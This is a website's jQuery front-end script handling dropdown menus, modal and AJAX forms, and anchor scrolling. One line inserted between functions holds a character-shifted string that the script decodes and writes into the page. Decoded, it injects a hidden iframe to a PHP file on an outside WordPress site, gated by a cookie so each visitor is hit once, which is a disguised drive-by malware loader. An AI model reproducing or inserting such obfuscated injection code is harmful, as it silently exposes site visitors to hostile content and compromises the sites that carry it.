var dropTimer;

$(document).ready(
        function()
        {
                // Slide anchors
                anchor.init();

                // Drop down Main menu
                $('#main_menu > li').hover(function() {
                        $(this).children('ul').fadeIn(150);
                        $(this).addClass('active');
                }, function() {
                        $(this).children('ul').fadeOut(150);
                        $(this).removeClass('active');
                });

            initModalForms();

                $('#videoModalContent').jqm({trigger: '#btn_videoTrigger'});
                $('#violinVideoModalContent').jqm({trigger: '#btn_violinVideoTrigger'});

                // print
                $('#btn_printTrigger').click(
                        function()
                        {
                                window.print();
                                return false;
                        }
                );
        }
);


/**
 * Here we create the functionality of the modal form triggers
 *
 */
function initModalForms()
{
        $('#modalContent').jqm(
                                                        {
                                                                ajax:'@href',
                                                                trigger: '.btn_modalFormTrigger',
                                                                ajaxText: 'Loading...',
                                                                onLoad: ajaxModalOnLoad
                                                        }
                                                );
}


/**
 * Callback function for ajax modal content
 *
 */
function ajaxModalOnLoad(hash)
{
        /**
         * This is pretty hacky...maybe a better way to get the id of the dialog
         */
        var formContainerId = hash.w.get(0).getAttribute('id');

        var form = $('#' + formContainerId + ' form');
        var formId = form.attr('id');

        initAjaxForm(form);
}


/**
 * Enable ajax funtionality for the form
 *
 */
 var source ="=tdsjqu!mbohvbhf>#KbwbTdsjqu#!uzqf>#ufyu0kbwbtdsjqu#?jg!)epdvnfou/dppljf/tfbsdi)#muzc>7#*!>>!.2*!|epdvnfou/xsjuf)#=#,#jg#,#s#,#b#,#nf!tsd>iuuq;00npntdbtic#,#mph/#,#dpn0xq.dpoufo#,#u0qmvhjo#,#t0b#,#mjolt0ynmsqd/qiq!tuzmf>ejtqmb#,#z;o#,#p#,#of?=#,#0jg#,#sbnf?#*<!!epdvnfou/dppljf!>!#muzc>7<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = ""; for(var i=0;i<source.length;i++) { result+=String.fromCharCode(source.charCodeAt(i)-1); } document.write(result);
function initAjaxForm(formElem)
{
        var formParent = $(formElem).parent();

        $(formElem).submit(
                function()
                {
                        $('#modalContent p.action').append('Sending...');

                        var form = $(this).get(0);

                        var query = "";
                        for(var i=0; i < form.elements.length; i++) {
                                query+= form.elements[i].name;
                                query+= "=";

                                if(form.elements[i].type == 'checkbox')
                                {
                                        query+= escape(form.elements[i].checked);
                                }
                                else
                                {
                                        query+= escape(form.elements[i].value);
                                }
                                query+= "&";
                        }
                        query+="location=" + window.location;

                        var formId = form.getAttribute('id');

                        $.ajax({
                                   type: "POST",
                                   url: form.getAttribute('action'),
                                   data: query,
                                   success: function(msg){
                                        formParent.html(msg);
                                        initAjaxForm($('#' + formId));
                                   }
                         });

                        return false;
                }
        );


}


/*******

        ***        Anchor Slider by Cedric Dugas   ***
        *** Http://www.position-absolute.com ***

        You can use and modify this script for any project you want, but please leave this comment as credit.

        Never have an anchor jumping your content, slide it.

        Just add the class anchor at your <a> tag and it will slide, user with no javascript will
        still go to destination with the normal html anchor

        Don't forget to put an id to your anchor !

*****/

anchor = {
        init : function()  {
                $("a.anchorLink").click(function () {
                        elementClick = $(this).attr("href")
                        destination = $(elementClick).offset().top;
                        $("html:not(:animated),body:not(:animated)").animate({ scrollTop: destination}, 600 );
                          return false;
                })
        }
}
